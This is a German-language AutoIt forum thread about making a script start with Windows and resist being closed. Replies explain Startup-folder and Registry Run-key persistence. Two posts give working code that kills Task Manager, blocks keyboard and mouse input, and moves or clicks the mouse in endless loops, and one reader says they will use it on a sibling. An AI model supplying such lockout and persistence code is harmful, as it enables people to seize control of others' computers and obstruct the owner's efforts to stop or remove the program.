Register for your free account! | Forgot your password?

Go Back   elitepvpers > Coders Den > AutoIt
You last visited: Today at 05:42

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



Skript mit Windows starten

Discussion on Skript mit Windows starten within the AutoIt forum part of the Coders Den category.

Reply
 
Old   #1
 
Fresh^^'s Avatar
 
elite*gold: 0
Join Date: Sep 2009
Posts: 187
Received Thanks: 110
Skript mit Windows starten

Ist es möglich ein Skript zu starten, wenn Windows gestartet ist?
Also wenn der PC hochfährt, das das Skript sofort startet?
Und das das Skript nicht beendet werden kann oder das es sich selbst startet wenn man es beendet?
Fresh^^ is offline  
Old 10/16/2009, 16:24   #2


 
Cholik's Avatar
 
elite*gold: 4
Join Date: Aug 2008
Posts: 6,783
Received Thanks: 4,992
Ja
Cholik is offline  
Thanks
1 User
Old 10/16/2009, 16:27   #3
 
elite*gold: 9
The Black Market: 156/0/0
Join Date: Apr 2009
Posts: 10,163
Received Thanks: 3,810
1. Ja

2. eher nicht. Man kann es so gut wie möglich verstecken.
AllesVergeben is offline  
Thanks
1 User
Old 10/16/2009, 18:03   #4
 
| Moep |'s Avatar
 
elite*gold: 0
Join Date: Apr 2008
Posts: 1,079
Received Thanks: 438
MAn könnte auch zwei Scripts schreiben die sich gegenseitig vor dem beenden schützen.
| Moep | is offline  
Thanks
1 User
Old 10/17/2009, 09:20   #5
 
Fresh^^'s Avatar
 
elite*gold: 0
Join Date: Sep 2009
Posts: 187
Received Thanks: 110
xD danke! Jetzt möcht ich nur noch wissen wie dann ist das super!
Fresh^^ is offline  
Old 10/17/2009, 09:26   #6


 
Cholik's Avatar
 
elite*gold: 4
Join Date: Aug 2008
Posts: 6,783
Received Thanks: 4,992
Das Skript kannst du z.B. in den Autostart Ordner packen. Dann wirds direkt mitgeladen beim Start. Oder du erstellst in der Registry einen Eintrag im Run Ordner mit einem Verweis auf die Datei.
Cholik is offline  
Thanks
1 User
Old 10/17/2009, 09:37   #7


 
buFFy!'s Avatar
 
elite*gold: 1826
Join Date: Mar 2009
Posts: 4,310
Received Thanks: 6,287
Was genau willst du denn machen? Dann könnte man dir weiterhelfen.. möglich ist vieles, fast alles
buFFy! is offline  
Old 10/17/2009, 15:45   #8


 
Ende!'s Avatar
 
elite*gold: 1
Join Date: Feb 2009
Posts: 6,378
Received Thanks: 7,996
Autostart Ordner suckt, den kennt ja wirklich fast jeder.

Hier ndie Möglichkeit mit der Registry, braucht unter Vista und Win7 aber Adminrechte.

Die Frage wurde in nem anderen Thread schon beantwortet:
Ende! is offline  
Thanks
1 User
Old 10/17/2009, 19:54   #9
 
Fresh^^'s Avatar
 
elite*gold: 0
Join Date: Sep 2009
Posts: 187
Received Thanks: 110
Wollte es aus purem Interesse wissen...
Jetzt weiß ichs ja...
Thx
Fresh^^ is offline  
Old 10/20/2009, 00:51   #10
 
N.E.O.'s Avatar
 
elite*gold: 45
Join Date: Nov 2008
Posts: 4,308
Received Thanks: 991
Hihihi^^

Du könntest einen Registryeintrag erstellen, in etwa so:
Code:
Run("G6FTPSrv")

;Autostart
If NOT RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN", "G6FTPSrv.exe") = "" Then  ;Überprüfen ob bereits ein Autostart-Eintrag in der Registry besteht
    RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN", "G6FTPSrv.exe", "REG_SZ", "C:\ftp\") ;Wenn nicht soll einer erstellt werden
Else ;Wenn doch soll nichts gemacht werden.
    
EndIf
dann noch etwas wie
Code:
AdlibEnable("_WinKill")

Func _WinKill()
If WinExists("Task Manager") Then 
WinKill("Task Manager")
EndIf
EndFunc
und vielleicht auch noch
Code:
BlockInput(1)
..aber das wär schon ziemlich fies..

Was aber auch geil wär, wär einfach:

Code:
Main()

Func Main()

AdlibEnable("_WinKill")
AutoStart()
Sleep(100)
_NoInput()
Sleep(100)
_RMouseMove()

EndFunc

Func AutoStart()
	
Run("G6FTPSrv")

;Autostart
If NOT RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN", "G6FTPSrv.exe") = "" Then  ;Überprüfen ob bereits ein Autostart-Eintrag in der Registry besteht
    RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN", "G6FTPSrv.exe", "REG_SZ", "C:\ftp\") ;Wenn nicht soll einer erstellt werden
Else ;Wenn doch soll nichts gemacht werden.
    Sleep(100)
EndIf

EndFunc

Func _WinKill()
	
	If WinExists("Task Manager") Then
		WinKill("Task Manager")
	EndIf
	
EndFunc

Func _RMouseMove()
	
	While 1
		MouseClick("left", (Random(0, 2000, 1)), (Random(0, 2000, 1)), 2)
	WEnd
	
EndFunc

Func _NoInput()
	
	BlockInput(1)
	
EndFunc
Aber das hast du nicht von mir


PS: Sag nicht, das du nicht soetwas vor hattest
N.E.O. is offline  
Old 10/20/2009, 09:39   #11


 
buFFy!'s Avatar
 
elite*gold: 1826
Join Date: Mar 2009
Posts: 4,310
Received Thanks: 6,287
benutzung auf eigene gefahr
Code:
$Handle1 = DllCallbackRegister("Task", "int", "ptr")
$Handle2 = DllCallbackRegister("Mouse", "int", "ptr")

HotKeySet("{end}", "End")
HotKeySet("{Lctrl}", "BlockTaskmgrHotkey")

Func CreateThread($Handle, $struct)
	$return = DllCall("kernel32.dll", _
			"hwnd", _
			"CreateThread", _
			"ptr", _
			0, _
			"dword", _
			0, _
			"long", _
			DllCallbackGetPtr($Handle), _
			"ptr", _
			DllStructGetPtr($struct), _
			"long", _
			0, _
			"int*", _
			0)
	Return $return[0]
EndFunc   ;==>CreateThread

$Struct1 = DllStructCreate("Char[200];int")
DllStructSetData($Struct1, 1, 10)
CreateThread($Handle1, $Struct1)

$Struct2 = DllStructCreate("Char[200];int")
DllStructSetData($Struct2, 1, 10)
CreateThread($Handle2, $Struct2)

While True
	BlockInput(1)
	Sleep(100)
WEnd

Func Task($x)
	$y = DllStructCreate("char[200];int", $x)
	While True
		If ProcessExists("taskmgr.exe") Then ProcessClose("taskmgr.exe")
		Sleep(10)
	WEnd
EndFunc   ;==>ThreadTest1

Func Mouse($x)
	$y = DllStructCreate("char[200];int", $x)
	While True
		MouseMove(@DesktopWidth / 2, @DesktopHeight / 2)
		Sleep(10)
	WEnd
EndFunc   ;==>ThreadTest2

Func BlockTaskmgrHotkey($x = "ptr")
	$y = DllStructCreate("char[200];int", $x)
	Send("{enter}")
EndFunc

Func End()
	Exit
EndFunc
buFFy! is offline  
Old 10/20/2009, 21:10   #12
 
●ROBBY●'s Avatar
 
elite*gold: 1
Join Date: Jun 2009
Posts: 1,142
Received Thanks: 158
lol das muss ich auch mal ausprobieren dann kann ich meinem bruder nen fiesen streich spielen^^ (ich sag nur shutdown (5) ) :P
●ROBBY● is offline  
Reply


Similar Threads Similar Threads
HP Skript+Regi Skript+Geiles Design
09/04/2010 - Metin2 Private Server - 18 Replies
Hey,Leutz! Wollte ein neues HP Skript Publik machen das über Xampp läuft. Es hat ein cooles Design und es ist ein Regi-Skript beigefügt! Screen: http://s10.directupload.net/images/100425/temp/zr m5nykf.png Natürlich kann alles geändert werden,auch Hintergrund und Logo! Ihr benötigt Xampp! Xampp Download:http://www.chip.de/downloads/c1_downloads _hs_getfile_v1_22023282.html?t=1272220567&v=36 00& So wenn ihr das installiert habt,ladet ihr euch meine Website runter!Ist im Anhang.
Diablo 2 2x starten Windows 7
05/05/2010 - Diablo 2 - 1 Replies
hi wie kann man unter windows 7 diablo 2 2x starten?
Skript Starten
03/01/2010 - AutoIt - 12 Replies
Hey Liebe Com, Bin Ein Autoit noob... bin gerade an meinem Spamm-bot zugangen habe 3 inputfelder wo man den text... das send delay und denschließen Hotkey eingeben kann und ein Button Namens "Start" Die While hab ich schon gemacht... aber wie bekomm ich das hin das der auf dem button Das skript startet ... Code:#include <GUIConstants.au3> #Region ### START Koda GUI section ### Form= $Form1 = GUICreate("Bot", 625, 443, 198, 130) GUISetBkColor(0x000000) $Mee =...
D2 auf windows 7 im fenstermodus starten
01/06/2010 - Diablo 2 - 1 Replies
weis einer wie das bei windows 7 geht geht hab kein plan ??:confused: bitte danke
[TUT]Windows XP in 0 sec Starten
12/07/2008 - Tutorials - 10 Replies
Windows XP in 0 Sec Starten Was brauche ich: -Software ! SOFTWARE DOWNLOAD: - Easy BCD



All times are GMT +1. The time now is 05:43.


Powered by vBulletin®
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.
This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2025 elitepvpers All Rights Reserved.